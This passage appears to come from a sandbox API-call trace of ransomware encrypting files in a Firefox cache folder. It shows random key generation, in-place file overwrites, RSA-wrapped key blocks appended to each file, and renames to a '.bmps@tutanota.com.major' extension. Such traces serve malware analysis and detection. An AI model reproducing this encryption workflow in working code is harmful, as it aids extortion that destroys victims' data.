lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x3798 [0270.732] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0270.732] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0270.733] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0270.733] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0270.733] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0270.733] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="xc+S9TFaJiCGA44vZbXkmI2bMoTcCcj6iT8LDnQzuewb0TcPsUINy6/9PWOi0MXI\nFS6WzUChyIvR/qJOst/t94mixfwlKuo2idJc2A4CQht0IJLLju944pclitZMWfQ3\npoQL06gM9tf4HsTDoR3kUPix4BMitT/7eo3O9j+40JAKqBvVrOkawRjey/kcxwCo\n3jOIKOvWQ+ELp3rRCDR2Bgn3oYeTvWkvFwgWfjtL2jhVuBgAHHL6KSnUUs9a+hxW\naw7Fx5jSEhZyoDevMQdW4rOQFCoWuTBUhL+h7W2wDdhA2RDE9yBvVHfAEq4wQ+NX\nisJ9RiZHoHzTs4Y2rh9fOQ==\n", pcchString=0x2e3f9a8) returned 1 [0270.733] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0270.733] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0270.733] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0270.733] CloseHandle (hObject=0x1b84) returned 1 [0270.734] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\5A39FCB4CCAE4A6C76307026D7C882B4AE85B1F9" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\5a39fcb4ccae4a6c76307026d7c882b4ae85b1f9"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\5A39FCB4CCAE4A6C76307026D7C882B4AE85B1F9.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\5a39fcb4ccae4a6c76307026d7c882b4ae85b1f9.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0270.735] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0270.735] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\5994EFBA690009A711CB274682E4797710EC767B", dwFileAttributes=0x80) returned 1 [0270.736] ReadFile (in: hFile=0x1b84, lpBuffer=0x3446048, nNumberOfBytesToRead=0xef7, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3446048*, lpNumberOfBytesRead=0x2e3f9b4*=0xef7, lpOverlapped=0x0) returned 1 [0270.779] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-3831, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0270.779] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f3b030*, nNumberOfBytesToWrite=0xef7, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3b030*, lpNumberOfBytesWritten=0x2e3f9b4*=0xef7, lpOverlapped=0x0) returned 1 [0270.779] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xef7 [0270.780] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0270.780] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0270.780] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0270.780] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0270.780] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0270.780] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="ewuprNmpW+uXXsefEnON7QO5mABGjr344ZUciHOBUhwMNMQ6ntjJh7XCMEUdiMVV\nzwYWXVYyCMcREXFjiTR5tEdA96sMkuPWd+6DjYuFBpLTg3L/HHObLHhaQOpT5nzR\ny1JHLUzlRnqdoVT4VTLLr+AwXH0GuaOYQfjLQxQEaAPlZVEh9k9oQQ0kun3bX1zD\nUJaS3S8lQgjXUdZazP38pB4E5GcLJ32olSj+Kk/7g98gJJZTpsmqsITcVVxeTdWF\nZjD32k5qXg89ZofgFdVbHf8JQTEHs5X1rB5Gn3dzl2cq2127ShSHffItN/F4GLgO\nc3zANDWH3iffr4DGSz6MYQ==\n", pcchString=0x2e3f9a8) returned 1 [0270.780] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0270.781] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0270.781] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0270.781] CloseHandle (hObject=0x1b84) returned 1 [0270.781] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\5994EFBA690009A711CB274682E4797710EC767B" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\5994efba690009a711cb274682e4797710ec767b"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\5994EFBA690009A711CB274682E4797710EC767B.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\5994efba690009a711cb274682e4797710ec767b.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0270.783] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0270.783] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\57E662573FD9E42D3972BE92D3DF0557C7B2E836", dwFileAttributes=0x80) returned 1 [0270.783] ReadFile (in: hFile=0x1b84, lpBuffer=0x343b820, nNumberOfBytesToRead=0x21dc, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x343b820*, lpNumberOfBytesRead=0x2e3f9b4*=0x21dc, lpOverlapped=0x0) returned 1 [0270.841] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-8668, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0270.842] WriteFile (in: hFile=0x1b84, lpBuffer=0x343da08*, nNumberOfBytesToWrite=0x21dc, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x343da08*, lpNumberOfBytesWritten=0x2e3f9b4*=0x21dc, lpOverlapped=0x0) returned 1 [0270.842] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x21dc [0270.842] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0270.842] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0270.843] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0270.843] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0270.843] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0270.843] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="WeFVZWXZUfTdR0lCwHrG85wTOpslAHOy5TQP32tc2l8RTfEfTLNsXIRxxZee3Qs9\nJCQDgU/f4OBRwbVWispxF6tRv6a4z3C7BNrf1GN59+Xg/OlC0TztXv+xmfz2re0C\n1HV+LJhQy7iudIcsIzJ6X4wsYMawhq+n73r6/9XDdFtXegmKbBbUA2v9dHRUmBak\nLWqB9WOUTv1GIMar86+BjwgHpl7I49imCFXCTcAZqD9QVwxOv+zvrXf6aSA+yZUE\nAdKM4Kihss4iTcPpFMuhGKOprEjPwF5zkCTjfJvTYVV0Tu0GAYYijd57GX5Glcmu\n6aYvYr5G54rCEk1xW8YNaQ==\n", pcchString=0x2e3f9a8) returned 1 [0270.843] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0270.844] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0270.844] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0270.844] CloseHandle (hObject=0x1b84) returned 1 [0270.844] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\57E662573FD9E42D3972BE92D3DF0557C7B2E836" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\57e662573fd9e42d3972be92d3df0557c7b2e836"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\57E662573FD9E42D3972BE92D3DF0557C7B2E836.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\57e662573fd9e42d3972be92d3df0557c7b2e836.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0270.846] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0270.846] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\579EC9227C4A988DCC4894D82AA161957107515D", dwFileAttributes=0x80) returned 1 [0270.846] ReadFile (in: hFile=0x1b84, lpBuffer=0x66e948, nNumberOfBytesToRead=0x639, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66e948*, lpNumberOfBytesRead=0x2e3f9b4*=0x639, lpOverlapped=0x0) returned 1 [0270.848] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-1593, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0270.848] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f3e850*, nNumberOfBytesToWrite=0x639, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3e850*, lpNumberOfBytesWritten=0x2e3f9b4*=0x639, lpOverlapped=0x0) returned 1 [0270.848] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x639 [0270.848] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0270.848] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0270.849] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0270.849] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0270.849] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0270.849] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="nvlRSsnGz2tEv29urQrjz7NA5iQBJKP7hkJbiHkle/xkMUNs5s+QHchA9wWKb9r0\nNTOP2D/hU0Mc+MQvujI98a77UDze0w7fRL7Ynz9VgW8u6Pa/KRqrTW4/lgJUCUqS\nIqzYmR2EI9/20/1KlXxMVvhKr2tQ0OQG5S7GOg2fC5THcZcN0NLmuHx4fq8W89ni\nw+kZ2PB6YMza4aPGNle4OioWbI/oBmOfrhBMkUPnhRdr/V/CNN1Pd4yge7Z41nT4\nbMI7hCxyMq5NyFF3Snv2l8fsxnb1hycQeDmXerBsSMmHzCbMSN2sAs+c1IT3Kpus\ndam5mXRHMIUXJA2MjTh3jg==\n", pcchString=0x2e3f9a8) returned 1 [0270.849] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0270.849] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0270.849] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0270.849] CloseHandle (hObject=0x1b84) returned 1 [0270.850] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\579EC9227C4A988DCC4894D82AA161957107515D" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\579ec9227c4a988dcc4894d82aa161957107515d"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\579EC9227C4A988DCC4894D82AA161957107515D.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\579ec9227c4a988dcc4894d82aa161957107515d.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0270.995] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0270.995] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\5754A981D1B97D4C45C91BFDCC6C62D72CF625EF", dwFileAttributes=0x80) returned 1 [0270.996] ReadFile (in: hFile=0x1b84, lpBuffer=0x343b820, nNumberOfBytesToRead=0x554c, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x343b820*, lpNumberOfBytesRead=0x2e3f9b4*=0x554c, lpOverlapped=0x0) returned 1 [0270.997] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-21836, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0270.997] WriteFile (in: hFile=0x1b84, lpBuffer=0x3540048*, nNumberOfBytesToWrite=0x554c, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3540048*, lpNumberOfBytesWritten=0x2e3f9b4*=0x554c, lpOverlapped=0x0) returned 1 [0270.998] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x554c [0270.998] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0270.998] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0270.998] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0270.998] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0270.998] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0270.998] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="TYPJIBEiKvSCGZqSgVDehdWxm7GTZ3dEKzsN/A08tQJm3buP4+4VwGHLRV5eVV37\n9buXaw3qCqsmdiJbWSzOQ6GkKuB9PR9LxpZI+9bg1d9OxnjoVODdv89/9hdSGug1\nPrqtZB9U0kZRQYTPsBeTpQf6dW1B/Cf2rb+Zdp/35hdJ2jKcYA1dUKcy362pBsoP\n/TJMcqmX5E+PMqUpue2ET8LdGkq0s9j4vL+bWBRKs66QPluh/5yfK9T3bpsYLQ+z\nhusrrJjnhUJ6OfdjwsJrmYQeA+510VC8HyDLLZgFYiHZozTRpHk4qv7hB4ItG/p7\nFzv05pUviCivbJVlgHFsRg==\n", pcchString=0x2e3f9a8) returned 1 [0270.998] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0270.999] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0270.999] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0270.999] CloseHandle (hObject=0x1b84) returned 1 [0270.999] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\5754A981D1B97D4C45C91BFDCC6C62D72CF625EF" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\5754a981d1b97d4c45c91bfdcc6c62d72cf625ef"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\5754A981D1B97D4C45C91BFDCC6C62D72CF625EF.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\5754a981d1b97d4c45c91bfdcc6c62d72cf625ef.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0271.001] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0271.001] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\56C1D667A6AFD5406F830882D54923461E079C1B", dwFileAttributes=0x80) returned 1 [0271.001] ReadFile (in: hFile=0x1b84, lpBuffer=0x3446048, nNumberOfBytesToRead=0xe25, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3446048*, lpNumberOfBytesRead=0x2e3f9b4*=0xe25, lpOverlapped=0x0) returned 1 [0271.174] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-3621, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0271.174] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f3b030*, nNumberOfBytesToWrite=0xe25, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3b030*, lpNumberOfBytesWritten=0x2e3f9b4*=0xe25, lpOverlapped=0x0) returned 1 [0271.175] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xe25 [0271.175] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0271.175] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0271.175] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0271.175] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0271.175] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0271.176] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="7McKMRWkrP95u7WbH3YfEGkqNBHuhImCCZ6shsugNoDlLtn9v2pMTGjfagw96Wd/\nc8DqGVKEGViPAIwgvBPTK8KAEtL1UKN+ROItiiXc/c1gb9TVGsmfHYXcN3mal+Jf\n20htHqPzmN5r3sHQW+sTGo/KjturZnqLpYkS5KUJ2IYBJS6JTYolP6tle8XmgE12\nt0wjyydNrQstdno36DSXI6/eG0OqK6C8fkLrumna0Sg8DQ0PFNpdZlxpZfIiRTQX\n1kl87DNIJ60A8YVKas3euBIAMMk4VLW6gXHhEhddT4z9oiHqhFX+57nCSfI3YkJ/\nN4oyW42n5k4dajSTeBI7sw==\n", pcchString=0x2e3f9a8) returned 1 [0271.176] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0271.176] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0271.176] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0271.177] CloseHandle (hObject=0x1b84) returned 1 [0271.177] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\56C1D667A6AFD5406F830882D54923461E079C1B" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\56c1d667a6afd5406f830882d54923461e079c1b"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\56C1D667A6AFD5406F830882D54923461E079C1B.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\56c1d667a6afd5406f830882d54923461e079c1b.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0271.179] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0271.179] SetFileAttributesW 